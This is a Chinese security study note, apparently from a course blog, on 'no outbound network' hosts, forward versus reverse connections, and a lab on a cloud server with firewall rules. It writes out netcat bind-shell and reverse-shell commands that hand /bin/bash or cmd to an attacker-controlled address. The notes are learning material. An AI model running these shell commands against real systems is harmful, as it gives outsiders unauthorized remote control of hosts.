不出网(小迪网络安全笔记~

news/2024/12/4 23:21:34/文章来源:https://www.cnblogs.com/sjjjjer/p/18587481

附:完整笔记目录~
ps:本人小白,笔记均在个人理解基础上整理,若有错误欢迎指正!

3.2 不出网

  1. 概念

    不出网常在内网中被提到,指系统/网络无法主动向外部网络发起连接。针对运维人员而言,不出网最简单的实现方式则为出站规则的配置。

    那当攻击者遇到不出网的情况时该如何处理呢?

  2. 正向连接&反向连接

    1. 原理

      根据不出网的定义,即目标主机无法主动向外通信。那作为攻击机主动连接目标主机建立信道,实现对目标主机的控制,这种方式是不是就可以解决不出网了呢。同时也称这种方式为正向连接。

      那说到正向连接,顺带也介绍一下反向连接吧。正向连接是攻击机主动连接目标,而反向连接则是控制目标主机去主动连接攻击机。

    2. 实现:同样以nc为例

      # 正向连接
      # 攻击机
      nc 靶机ip 端口号
      # 靶机
      nc -lvp 端口号 -e bin/bash
      nc -lvp 端口号 -e cmd# 反向连接
      # 靶机
      nc 攻击机ip 端口号 -e /bin/bash
      nc 攻击机ip 端口号 -e cmd
      # 攻击机
      nc -lvp 端口号
      

      有没有感觉反向连接的实现很熟悉呢,这不就是使用nc反弹Shell的命令。所以嘛,反弹Shell也是一种反向连接。

    3. 应用场景

      在面对不同场景时,需分别选择正向连接或反向连接。这里举几个例子

      1. 当管理员对应用出站规则做了严格限制,如不出网。(正向连接)
      2. 当管理员对应用入站规则做了严格限制,如Web服务器仅允许用户对其22、80、443端口进行访问。
        (反向连接)
      3. 当攻击机处于内网时。(正向连接)
      4. 当目标主机处于内网时。(反向连接)
  3. 隧道

    迪总没细讲,后续放到内网篇详细说吧。

  4. 实验:分别配置目标服务器出/入站规则,并通过nc进行正/反向连接。

    1. 配置目标服务器出站规则,通过nc尝试正向连接。

      以阿里云所租Ubuntu20.04为例,首先禁止服务器所有出站流量

      image-20241130190848156

      由于目标服务器不出网且放通了入站的21端口,因此使用攻击机尝试正向连接靶机21端口。

      image-20241130192041481

      正向连接成功!

    2. 配置目标服务器的入站规则,通过nc尝试反向连接。

      配置入站规则仅保留22端口,出站规则全放通。

      image-20241130192545467

      由于目标服务器出站规则全放通,因此尝试反向连接使目标服务器主动连接攻击机

      image-20241130193325288

      反向连接成功!

    3. 实验结束

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/846914.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Task05 拓展01

Task 05 条件Conditionals IF 语句IF Else 语句IF-ELIF-ELSE语句IF-ELSE推导式 def abs7(n)return n if (n>=0) else -ndef abs7(n):if n >=0:return nelse:return -nMATCH-CASE语句 match subject:case <pattern_1><action_1>case <pattern_2><act…

Web额外配置(二)(小迪网络安全笔记~

引子:本篇继续介绍一些Web服务常用的额外配置,如堡垒机、蜜罐、API等。附:完整笔记目录~ ps:本人小白,笔记均在个人理解基础上整理,若有错误欢迎指正! 1.1.4 Web额外配置(二)引子:本篇继续介绍一些Web服务常用的额外配置,如堡垒机、蜜罐、API等。堡垒机概念:从运维…

Web2.0架构(小迪网络安全笔记~

目前大部分Web资产架构为1. 通过ip/域名进行资产访问2. 资产基本组成:操作系统 + 中间件 + 源码 + 数据库附:完整笔记目录~ ps:本人小白,笔记均在个人理解基础上整理,若有错误欢迎指正! 1.1.1 Web2.0架构目前大部分Web资产架构为通过ip/域名进行资产访问 资产基本组成:操…

研途无忧-beta冲刺

研途无忧-beta冲刺 一: alpha冲刺后项目还存在的问题及其探索思路和解决过程问题一:页面详情和加油站的数据同步问题 详细描述: 当前页面详情和加油站的数据同步功能尚未实现,包括点赞、收藏、评论和关注等功能。此外,发布帖子页面也尚未完善,需要进一步开发和优化。 探索…

75种K线基本形态

通过上一期的内容,我们已经了解了K线的绘制方法和关键因素,K线所包含的信息是极为丰富的,就以单根K线而言,一般上影线和阴线的实体表示股价的下压力量,下影线和阳线的实体则表示股价的上升力量。上影线和阴线实体比较长就说明股价下跌动量比较大,下影线和阳线实体较长则说…

我用了这款插件,工作效率大大提高啦~

备忘快贴 uTools 是一款呼之即来,即用即走的工具集软件。 备忘快贴是一款全新设计的备忘录 utools 插件,区别于手机自带的备忘录功能。传统的备忘录只是在需要时记录信息,而备忘快贴则不仅可以记录内容,还能轻松复制和粘贴,便于在多个场合使用。这款软件特别适合需要频繁编…

CDCL算法

1. CDCL伪代码 CDCL(CNF):副本 = CNF // 创建CNF的副本,不更改原CNFwhile true:while 副本含有单位子句:对副本使用单位传播;if 副本中含有取值为假的子句: // 发现冲突if 现在的决策层是0:return false; // 不能满足C = 子句学习(CNF, 副本) // 吸取教训根据C回到一个更早的决…

零基础快速入门软件测试

一、项目 1. 项目成员先简要了解一下软件项目组中所涉及的一些重要角色及关键词项目:软件研发项目,包括从前期项目预研、立项、组建项目团队、设计开发软件、测试调试、交付验收,以及软件运营等各项具体的工作 项目经理:软件项目的总负责人,既需要有广泛的计算机专业知识,…

全球气象数据ERA5的下载方法

本文介绍在ERA5气象数据的官方网站中,手动下载、Python代码自动批量下载逐小时、逐日与逐月的ERA5气象数据各类产品的快捷方法~本文介绍在ERA5气象数据的官方网站中,手动下载、Python代码自动批量下载逐小时、逐日与逐月的ERA5气象数据各类产品的快捷方法。ERA5(fifth gener…

高性能计算-NEON-图像旋转

1. 对512*512 png 四通道图像顺时针旋转90度 思路: 像素分块,对块内转置;再水平镜像。图像库使用 stb img 2. 代码 #include <stdio.h> #include <arm_neon.h>#include <stdlib.h> #define STB_IMAGE_IMPLEMENTATION #include "./stb/stb_image.h&quo…

使用自定义 MSBuild Task 阻止 git 的大文件提交

一个自定义 MSBuild Task 的实际案例NuGet Gallery | Jgrass.MSBuild.GitTask 前言 在 .NET 项目自定义 MSBuild Task 中提到,可以使用自定义 MSBuild Task 来实现自定义功能。 这里介绍实现的 git 提交大文件提交拦截功能。 引入 nuget 包之后,设置好要拦截的大小,内置的 L…

ElasticSearch学习笔记

ES7.x和ES8.x的学习笔记1.ElasticSearch概述 1.1 ElasticSearch是什么 Elaticsearch,简称为 ES,ES 是一个开源的高扩展的分布式全文搜索引擎,是整个Elastic Stack 技术栈的核心。它可以近乎实时的存储、检索数据;本身扩展性很好,可以扩展到上 百台服务器,处理PB级别的数…